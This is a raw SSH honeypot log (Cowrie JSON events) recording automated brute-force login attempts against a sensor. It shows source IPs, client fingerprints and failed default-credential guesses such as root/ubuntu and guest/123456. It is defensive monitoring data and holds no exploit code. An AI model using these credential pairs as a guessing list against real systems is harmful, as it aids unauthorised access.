{"eventid":"cowrie.login.failed","username":"test","password":"123456","message":"login attempt [test/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:33:43.562982Z","src_ip":"176.65.139.95","session":"5799065fa569","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:33:44.647764Z","src_ip":"176.65.139.95","session":"5799065fa569","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":44334,"dst_ip":"159.203.135.109","dst_port":22,"session":"353ade7cd993","protocol":"ssh","message":"New connection: 176.65.139.95:44334 (159.203.135.109:22) [session: 353ade7cd993]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:33:49.465571Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:33:49.470079Z","src_ip":"176.65.139.95","session":"353ade7cd993","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:33:49.552105Z","src_ip":"176.65.139.95","session":"353ade7cd993","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"www","message":"login attempt [www/www] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:33:49.827426Z","src_ip":"176.65.139.95","session":"353ade7cd993","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:33:51.034091Z","src_ip":"176.65.139.95","session":"353ade7cd993","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":44342,"dst_ip":"159.203.135.109","dst_port":22,"session":"bfb6a9fc4227","protocol":"ssh","message":"New connection: 176.65.139.95:44342 (159.203.135.109:22) [session: bfb6a9fc4227]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:33:55.997434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:33:56.009472Z","src_ip":"176.65.139.95","session":"bfb6a9fc4227","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:33:56.081596Z","src_ip":"176.65.139.95","session":"bfb6a9fc4227","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rock","password":"rock","message":"login attempt [rock/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:33:56.509374Z","src_ip":"176.65.139.95","session":"bfb6a9fc4227","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:33:57.595636Z","src_ip":"176.65.139.95","session":"bfb6a9fc4227","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":38376,"dst_ip":"159.203.135.109","dst_port":22,"session":"f163b420108d","protocol":"ssh","message":"New connection: 176.65.139.95:38376 (159.203.135.109:22) [session: f163b420108d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:34:02.528733Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:34:02.540638Z","src_ip":"176.65.139.95","session":"f163b420108d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:34:02.652394Z","src_ip":"176.65.139.95","session":"f163b420108d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"basit","password":"basit","message":"login attempt [basit/basit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:34:03.112838Z","src_ip":"176.65.139.95","session":"f163b420108d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:34:04.200526Z","src_ip":"176.65.139.95","session":"f163b420108d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":54446,"dst_ip":"159.203.135.109","dst_port":22,"session":"a972f72298f2","protocol":"ssh","message":"New connection: 176.65.139.95:54446 (159.203.135.109:22) [session: a972f72298f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:34:09.081552Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:34:09.091859Z","src_ip":"176.65.139.95","session":"a972f72298f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:34:09.166420Z","src_ip":"176.65.139.95","session":"a972f72298f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntu","message":"login attempt [root/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:34:09.536940Z","src_ip":"176.65.139.95","session":"a972f72298f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:34:10.620282Z","src_ip":"176.65.139.95","session":"a972f72298f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":47692,"dst_ip":"159.203.135.109","dst_port":22,"session":"862aa9dbdfa8","protocol":"ssh","message":"New connection: 80.94.92.186:47692 (159.203.135.109:22) [session: 862aa9dbdfa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:34:14.314482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:34:14.323633Z","src_ip":"80.94.92.186","session":"862aa9dbdfa8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:34:14.500027Z","src_ip":"80.94.92.186","session":"862aa9dbdfa8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lighthouse","password":"lighthouse123","message":"login attempt [lighthouse/lighthouse123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:34:15.017243Z","src_ip":"80.94.92.186","session":"862aa9dbdfa8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":54462,"dst_ip":"159.203.135.109","dst_port":22,"session":"b0c77c758940","protocol":"ssh","message":"New connection: 176.65.139.95:54462 (159.203.135.109:22) [session: b0c77c758940]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:34:15.448514Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:34:15.453370Z","src_ip":"176.65.139.95","session":"b0c77c758940","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:34:15.543760Z","src_ip":"176.65.139.95","session":"b0c77c758940","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"123456","message":"login attempt [guest/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:34:16.109838Z","src_ip":"176.65.139.95","session":"b0c77c758940","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:34:16.301373Z","src_ip":"80.94.92.186","session":"862aa9dbdfa8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:34:17.194407Z","src_ip":"176.65.139.95","session":"b0c77c758940","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46292,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d9041ddcb8d","protocol":"ssh","message":"New connection: 159.203.92.129:46292 (159.203.135.109:22) [session: 6d9041ddcb8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:34:18.931577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:34:18.936776Z","src_ip":"159.203.92.129","session":"6d9041ddcb8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:34:18.941638Z","src_ip":"159.203.92.129","session":"6d9041ddcb8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Houjian","password":"123456","message":"login attempt [Houjian/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:34:18.957843Z","src_ip":"159.203.92.129","session":"6d9041ddcb8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:34:20.015258Z","src_ip":"159.203.92.129","session":"6d9041ddcb8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":48716,"dst_ip":"159.203.135.109","dst_port":22,"session":"a253aadfee64","protocol":"ssh","message":"New connection: 176.65.139.95:48716 (159.203.135.109:22) [session: a253aadfee64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:34:22.166022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:34:22.177617Z","src_ip":"176.65.139.95","session":"a253aadfee64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:34:22.259040Z","src_ip":"176.65.139.95","session":"a253aadfee64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"123456","message":"login attempt [openclaw/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:34:22.544511Z","src_ip":"176.65.139.95","session":"a253aadfee64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:34:23.714900Z","src_ip":"176.65.139.95","session":"a253aadfee64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":33228,"dst_ip":"159.203.135.109","dst_port":22,"session":"369e233fb22c","protocol":"ssh","message":"New connection: 176.65.139.95:33228 (159.203.135.109:22) [session: 369e233fb22c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:34:28.706786Z"}
